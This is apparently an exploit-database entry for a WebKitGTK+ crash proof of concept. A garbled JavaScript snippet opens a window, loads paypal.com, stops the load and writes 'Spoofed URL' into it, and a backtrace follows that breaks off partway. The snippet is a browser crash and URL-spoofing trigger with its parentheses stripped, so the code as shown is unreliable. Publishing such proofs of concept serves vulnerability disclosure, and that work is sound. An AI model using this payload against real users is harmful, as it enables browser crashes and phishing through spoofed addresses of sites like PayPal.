WebKitGTK+ < 2.21.3 - Crash (PoC)

Title: WebKitGTK+ win = window.open"sleeponesecond.php", "WIN"; window.open"https://www.paypal.com", "WIN"; win.document.execCommand'Stop'; win.document.write"Spoofed URL"; win.document.close; Backtrace using fedora 27: 0 WTF::StringImpl::rawHash at...